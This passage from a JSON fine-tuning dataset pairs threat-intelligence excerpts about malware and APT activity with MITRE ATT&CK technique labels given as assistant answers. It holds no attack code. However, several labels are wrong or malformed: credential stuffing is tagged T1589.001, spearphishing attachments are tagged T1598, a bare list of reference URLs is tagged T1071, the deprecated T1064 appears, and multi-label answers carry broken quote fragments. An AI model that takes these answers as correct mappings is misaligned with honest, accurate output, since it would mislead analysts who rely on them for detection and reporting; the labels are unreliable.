            },
            {
                "role": "user",
                "content": "The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://&lt;c2 domain&gt;/chk. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSInfo discovers the current domain information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For the investigators at NCC Group and Fox-IT these pieces of evidence supported the hypothesis of the adversary achieving credentials access by brute force, and more specifically by credential stuffing or password spraying"
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has deployed multiple web shells on compromised servers including SIMPLESEESHARP, SPORTSBALL, China Chopper, and ASPXSpy."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attack Flow and Exfiltration After injecting into the targeted processes, the modules continue their malicious activity through those processes"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors used compression and encryption of exfiltration files into RAR archives, and subsequently utilizing cloud storage services for storage."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used several different keyloggers."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 has a tool called CANDYKING to capture a screenshot of user's desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "digitally signed an executable with a stolen certificate from legitimate company AI Squared."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used WMIC for discovery as well as to execute payloads for persistence and lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used intercepter-NG to sniff passwords in network traffic."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-1314 actors mapped network drives using \"net use\"."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel can search for specific file extensions, including zipped files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cheat sheet is separated into several sections, based on the purpose of the example commands. Fortunately, the commands listed in the cheat sheet provides us with a great deal of insight into some of the tools and techniques the actors will possibly use after compromising the end system. The cheat sheet shows significant batch and PowerShell scripting and a preference for using RDP, as well as the following tools not provided natively in Windows (i.e. thc-hydra, Plink, Mimikatz, Powercat, ProcDump, SharpHound/BloodHound and PowerSploit). Table 1 shows the headers and a description of each section within the cheat sheet."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A version of KONNI has dropped a Windows shortcut into the Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT collects the MAC address, computer name, and CPU information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InnaputRAT has a command to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some SUGARDUMP variants required a user to enable a macro within a malicious .xls file for execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After analyzing the final payload, we determined the winner was… a Remote Administration Tool, which we have named ROKRAT. The address used in the email was 'kgf2016@yonsei.ac.kr' which is the contact email of the Korea Global Forum where the slogan in 2016 was \"Peace and Unification of the Korean Peninsula\". This fact gives more credit and legitimacy to the email. This file is decoded and finally an executable is launched: ROKRAT. This RAT has the added complexity that the command and control servers are legitimate websites. The malware uses Twitter and two cloud platforms, Yandex and Mediafire, apparently for both C2 communications and exfiltration platforms. Unfortunately, these platforms are difficult to block globally within organizations as their use can be viewed as legitimate in most cases. Additionally, these 3 platforms all make use of HTTPS connectivity, making it much more difficult to identify specific patterns or the usage of specific tokens"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor’s main objective for using this RAT (known as Razy/NeD worm/Wonder Botnet) was obvious from the victim data that was collected – it was to search for specific file extensions such as PDF, DOC, DOCX, XLS, and XLSX, where they are compressed in RAR files per category, stored in temp directories within a folder named by victim ID (bot ID – long MD5 string), encrypted and uploaded to the C2"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1083 - File and Directory Discovery', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN13 rolled many of these reconnaissance efforts into scripts to automate their processes. For example, they used pi.bat to iterate through a list of IP addresses in a file, execute a ping command and write the output to a file (Figure 6). A similar script used dnscmd to export a host’s DNS zones to a file."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Scanning IP Blocks', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Netsh commands for Windows Firewall provide a command-line alternative to the capabilities of the Windows Firewall Control Panel utility. By using the Netsh firewall commands, you can configure and view Windows Firewall exceptions and configuration settings"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner has used Google Chrome's decryption and extraction operations."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can discover the hostname, computer name, and Windows version of a targeted machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has the ability to modify the Registry key \"HKCU\\Software\\ApplicationContainer\\Appsw64\" to store information regarding the C2 server and downloads."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of trusted channels: BoomBox is a uniquely developed downloader used to obtain a later-stage payload from an actor-controlled Dropbox account. All initial communications leverage the Dropbox API via HTTPS. Opportunity for restraint: Consistent with other tools utilized by NOBELIUM, BoomBox, VaporRage, and some variants of NativeZone conduct some level of profiling on an affected system’s environment. Ambiguity: VaporRage is a unique shellcode loader seen as the third-stage payload. VaporRage can download, decode, and execute an arbitrary payload fully in-memory. Such design and deployment patterns, which also include staging of payloads on a compromised website, hamper traditional artifacts and forensic investigations, allowing for unique payloads to remain undiscovered"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dubbed ‘SpeakUp’, the new Trojan exploits known vulnerabilities in six different Linux distributions"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can retrieve OS name/architecture and computer/domain name information from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates and uses a VBScript as part of its persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can gather the IP address from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects a list of active and listening connections by using the command netstat -nao as well as a list of available network mappings with net use."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower has the ability to enumerate `Uninstall` registry values."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell can search for files in directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant can force the compromised system to function as a proxy server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used Google Cloud's appspot service to host C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At face value, this current variant of OopsIE has a vast majority of its strings obfuscated, which can be deobfuscated by splitting the strings using the hyphen as a delimiter, treating each split value as an integer, subtracting one from each integer and converting each into a character"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin installs a `TCP` and `UDP` filter on the `eth0` interface."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can perform reconnaissance commands on a victim machine via a cmd.exe process."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperStack sets the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA\\Restrict Anonymous value to 0 so anonymous logon users (i.e. null session connections) can list all account names and enumerate all shared resources on a remote share. The implant can then use the WNetAddConnection2 API call to connect to another remote device's IPC$ share. IPC$ is a share that facilitates inter-process communication (IPC) by exposing named pipes to write to or read from"
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has created local privileged users on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea can enumerate and map ICS-specific systems in victim environments."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can be used to establish persistence using a systemd service."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: SysV/Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig has the ability to identify folders and files related to previous infections."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses the first four bytes of this hardware ID as a unique identifier for the system, which in our case was “0000”"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb is a passive and highly targeted backdoor capable of remotely exfiltrating sensitive information from a compromised AD FS server. It can also receive additional malicious components from a command-and-control (C2) server and execute them on the compromised server"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP for command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has many names in the information security industry — it is also known as Snake, Venomous Bear, Uroburos and WhiteBear. Turla likes to use compromised web servers and hijacked satellite connections for their command and control (C2) infrastructure. In some operations, they also do not directly communicate to the C2 server. Instead, they use a compromised system inside the targeted network as a proxy, which forwards the traffic to the real C2 server. Well-known malware like Crutch or Kazuar are attributed to Turla. Lately, we have also seen research that has shown potential links between the Sunburst backdoor and Turla. Not every campaign run by Turla can clearly be attributed to them"
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "[1] https://www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ [2] https://www.clearskysec.com/copykitten-jpost/"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link', 'T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth has used malicious VBS e-mail attachments for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Firstly, the Trojan will use the following regular expression to determine if the C2 server wishes to cancel the C2 communications:       216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|windowsupdate.microsoft.com|update.microsoft.com     Additionally, the RogueRobin Trojan uses the regular expressions in Table 3 to confirm that the DNS response contains the appropriate data for it to extract information from"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used netstat -an on a victim to get a listing of network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch can download and execute or update malware."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next we compared the codebase for setting registry keys. The code reuse displayed in Figure 4 is the sequence that sets the IEHarden registry keys and other keys used throughout TidePool and Operation Ke3chang malware."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor installation sequence shows that it’s meant for persistence via /LaunchAgents/com.aex-loop.agent.plist and /Library/LaunchDaemons/com.aex-loop.agent.plist. It initiates the configuration file /Library/Caches/com.applestore.db to set the C&amp;C server IP and for remote session information. Loading the bot plugins, this enables connection to the server to open and wait for commands, update the configuration file based on the commands received, and encrypt the file via AES CBC. If the configuration file already exists, it will decrypt once a new session starts"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a collection of Exfiltration modules that can access data from local files, volumes, and processes."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can spread itself by infecting other portable executable files on networks shared drives."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Currently LockerGoga does not support any worm-like capabilities that would allow it to self-propagate by infecting additional hosts on a target network. We have observed LockerGoga moving around a network via the server message block (SMB) protocol, which indicates the actors simply manually copy files from computer to computer"
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used servers under their control to validate tracking pixels sent to phishing victims."
            },
            {
                "role": "assistant",
                "content": "T1608 - Stage Capabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using commands, including net group and net localgroup, to enumerate the different user groups on the target network."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is used to execute programs and other actions at the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can use HTTP and HTTPS in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT queries the Registry for specific keys for potential privilege escalation and proxy information. FELIXROOT has also used WMI to query the Windows Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 server response to a beacon sent by a variant of  contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of  use various XOR operations to encrypt C2 data."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CopyKittens has used Metasploit, Empire, and AirVPN for post-exploitation activities."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, APT32 has used a random value to modify the timestamp of the file storing the clientID."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
